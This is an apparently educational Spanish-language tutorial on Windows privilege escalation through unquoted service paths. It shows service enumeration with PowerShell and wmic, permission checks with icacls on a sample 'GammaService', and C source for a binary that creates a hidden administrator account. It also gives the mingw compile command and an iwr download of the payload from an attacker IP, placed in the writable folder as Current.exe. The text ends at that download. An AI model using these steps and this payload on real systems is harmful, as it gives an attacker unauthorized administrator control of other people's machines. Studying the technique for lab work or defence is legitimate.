Lo que ocurre en esta manera de escalar privilegios, es cuando la ruta de un servicio contiene algún espacio en el nombre de la ruta y no esta dentro de comillas, podemos abusar de ello, este sería el caso de una ruta de un servicio vulnerable

C:\Program Files\My Program\My Service\service.exe

Vemos que en Program Files, My Program, My Service, hay espacios y no está entre comillas, bien, para abusar de ello, debemos saber que el equipo, siempre que va a ejecutar un servicio, en la ruta lo busca de manera que busca un .exe en cada apartado de la ruta, hasta llegar al binario final correcto (service.exe), el equipo busca el archivo de esta manera.

C:\\Program.exe
C:\\Program Files\\My.exe
C:\\Program Files\\My Program\\My.exe
C:\\Program Files\\My Program\\My service\\service.exe

Para abusar de esto, es sencillo, simplemente debemos comprobar si en alguna ruta de las que tienen espacios tenemos permisos de escritura, para suplantar un binario.

En primer lugar, buscamos servicios corriendo o parados, hay dos formas de hacerlo, la segunda es más efectiva, pero es desde cmd.exe no powershell

PS C:\\Users\\steve> Get-CimInstance -ClassName win32_service | Select Name,State,PathName 

Name                      State   PathName
----                      -----   --------
...
GammaService                             Stopped C:\\Program Files\\Enterprise Apps\\Current Version\\GammaServ.exe
...
C:\\Users\\steve> wmic service get name,pathname |  findstr /i /v "C:\\Windows\\\\" | findstr /i /v """

Name                                       PathName                                                                     
...                                                                                                         
GammaService                               C:\\Program Files\\Enterprise Apps\\Current Version\\GammaServ.exe

Vemos que este servicio GammaService, su ruta C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe, tiene espacios de por medio.

Seguidamente, comprobamos que estamos capacitados de parar e inicar el servicio

PS C:\\Users\\steve> Start-Service GammaService
WARNING: Waiting for service 'GammaService (GammaService)' to start...

PS C:\\Users\\steve> Stop-Service GammaService

Podemos hacerlo, ahora el siguiente paso es comprobar los permisos de escritura en las rutas, estas son las distintas formas que podriamos abusar de este servicio

C:\\Program.exe
C:\\Program Files\\Enterprise.exe
C:\\Program Files\\Enterprise Apps\\Current.exe
C:\\Program Files\\Enterprise Apps\\Current Version\\GammaServ.exe

Pero no en todas tenemos permisos de escritura, vamos a comprobarlo

PS C:\\Users\\steve> icacls "C:\\"
C:\\ BUILTIN\\Administrators:(OI)(CI)(F)
    NT AUTHORITY\\SYSTEM:(OI)(CI)(F)
    BUILTIN\\Users:(OI)(CI)(RX)
    NT AUTHORITY\\Authenticated Users:(OI)(CI)(IO)(M)
    NT AUTHORITY\\Authenticated Users:(AD)
    Mandatory Label\\High Mandatory Level:(OI)(NP)(IO)(NW)
    
Successfully processed 1 files; Failed processing 0 files
    
PS C:\\Users\\steve>icacls "C:\\Program Files"
C:\\Program Files NT SERVICE\\TrustedInstaller:(F)
                 NT SERVICE\\TrustedInstaller:(CI)(IO)(F)
                 NT AUTHORITY\\SYSTEM:(M)
                 NT AUTHORITY\\SYSTEM:(OI)(CI)(IO)(F)
                 BUILTIN\\Administrators:(M)
                 BUILTIN\\Administrators:(OI)(CI)(IO)(F)
                 BUILTIN\\Users:(RX)
                 BUILTIN\\Users:(OI)(CI)(IO)(GR,GE)
                 CREATOR OWNER:(OI)(CI)(IO)(F)
...

Successfully processed 1 files; Failed processing 0 files
PS C:\\Users\\steve> icacls "C:\\Program Files\\Enterprise Apps"
C:\\Program Files\\Enterprise Apps NT SERVICE\\TrustedInstaller:(CI)(F)
                                 NT AUTHORITY\\SYSTEM:(OI)(CI)(F)
                                 BUILTIN\\Administrators:(OI)(CI)(F)
                                 BUILTIN\\Users:(OI)(CI)(RX,W)
                                 CREATOR OWNER:(OI)(CI)(IO)(F)
                                 APPLICATION PACKAGE AUTHORITY\\ALL APPLICATION PACKAGES:(OI)(CI)(RX)
                                 APPLICATION PACKAGE AUTHORITY\\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(RX)

Successfully processed 1 files; Failed processing 0 files

Despues de haber revisado las tres rutas, vemos que en C:\Program Files\Enterprise Apps\, tenemos permiso de escritura (W), por lo que podemos crear un archivo current.exe y será ejecutado.

Creamos el binario malicioso, lo compilamos y lo transferimos a la máquina víctima

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");
  
  return 0;
}
kali@kali:~$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
PS C:\\Users\\steve> iwr -uri <http://192.168.119.3/adduser.exe> -Outfile Current.exe